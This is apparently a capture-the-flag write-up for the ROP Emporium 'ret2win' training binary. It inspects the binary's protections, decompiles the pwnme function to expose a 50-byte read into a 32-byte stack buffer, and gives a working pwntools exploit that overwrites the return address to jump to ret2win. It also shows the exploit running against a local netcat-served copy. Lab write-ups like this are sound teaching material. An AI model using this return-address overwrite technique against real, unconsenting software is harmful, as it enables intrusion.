Writeup
Firstly we need to check the security of the binary :
$ rabin2 -I ret2win
arch x86
baddr 0x400000
binsz 7071
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
Ok, so we don’t have PIC and we have DEP active (NX). We don’t have access to the source code, so we need to do a bit of reverse engineering to understand how the binary works, let’s use radare2 (with r2ghidra-dec plugin).
$ r2 -d ret2win
[0x7fcad30b6100]> aaa
[0x7fcad30b6100]> afl
0x00400650 1 41 entry0
0x00400610 1 6 sym.imp.__libc_start_main
0x00400680 4 50 -> 41 sym.deregister_tm_clones
0x004006c0 4 58 -> 55 sym.register_tm_clones
0x00400700 3 28 entry.fini0
0x00400720 4 38 -> 35 entry.init0
0x004007b5 1 92 sym.pwnme
0x00400600 1 6 sym.imp.memset
0x004005d0 1 6 sym.imp.puts
0x004005f0 1 6 sym.imp.printf
0x00400620 1 6 sym.imp.fgets
0x00400811 1 32 sym.ret2win
0x004005e0 1 6 sym.imp.system
0x004008b0 1 2 sym.__libc_csu_fini
0x004008b4 1 9 sym._fini
0x00400840 4 101 sym.__libc_csu_init
0x00400746 1 111 main
0x00400630 1 6 sym.imp.setvbuf
0x004005a0 3 26 sym._init
[0x7fcad30b6100]> s main
[0x00400746]> pdg
// WARNING: Globals starting with '_' overlap smaller symbols at the same address
// WARNING: [r2ghidra] Failed to find return address in ProtoModel
undefined8 main(void)
{
sym.imp.setvbuf(_section..bss, 0, 2, 0);
sym.imp.setvbuf(_reloc.stderr_128, 0, 2, 0);
sym.imp.puts("ret2win by ROP Emporium");
sym.imp.puts("64bits\n");
sym.pwnme();
sym.imp.puts("\nExiting");
return 0;
}
[0x00400746]> s sym.pwnme
[0x004007b5]> pdg
// WARNING: Globals starting with '_' overlap smaller symbols at the same address
// WARNING: [r2ghidra] Failed to find return address in ProtoModel
void sym.pwnme(void)
{
int32_t var_20h;
sym.imp.memset(&var_20h, 0, 0x20);
sym.imp.puts(
"For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?"
);
sym.imp.puts(
"You there madam, may I have your input please? And don\'t worry about null bytes, we\'re using fgets!\n"
);
sym.imp.printf(0x4009dd);
sym.imp.fgets(&var_20h, 0x32, _reloc.stdin_112);
return;
}
[0x004007b5]> s sym.ret2win
[0x00400811]> pdg
// WARNING: [r2ghidra] Failed to find return address in ProtoModel
void sym.ret2win(void)
{
sym.imp.printf("Thank you! Here\'s your flag:");
sym.imp.system("/bin/cat flag.txt");
return;
}
Ok, so the main calls the function pwnme, which is vulnerable to a stack overflow attack. Becaus PIC is not active, to exploit this binary we just need to pass in stdin:
- “A” * 32
(sizeof(var_20))
- “A” * 8
(base pointer)
- 0x00400811
(address_of(ret2win))
To set up an environment similar to the one in ctf I spawn the binary using netcat :
$ nc -lvp 9999 -e ./ret2win
then using pwntools I write an exploit that :
- Connects to the server
- Send payload
- Read flag
Exploit
#!/usr/bin/env python3
from pwn import *
conn = remote('127.0.0.1', 9999)
log.info(conn.recvuntil('> '))
ret2win = p64(0x400811)
payload = b"A" * 40 + ret2win
conn.sendline(payload)
log.info(conn.recvline())
conn.close()
with open("out.txt", "wb") as out:
out.write(payload)
Launching the exploit…
$ ./exploit.py
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] b"ret2win by ROP Emporium\n64bits\n\nFor my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?\nYou there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n\n> "
[*] b"Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}\n"
[*] Closed connection to 127.0.0.1 port 9999
Ok we got the flag, however we have a segfault on the server, why? Because we call a function ret2win
using the ret
instruction, so it doesn’t push on the stack the correct address to return, and segfault… -\_('_')_/-
Flag
ROPE{a_placeholder_32byte_flag!}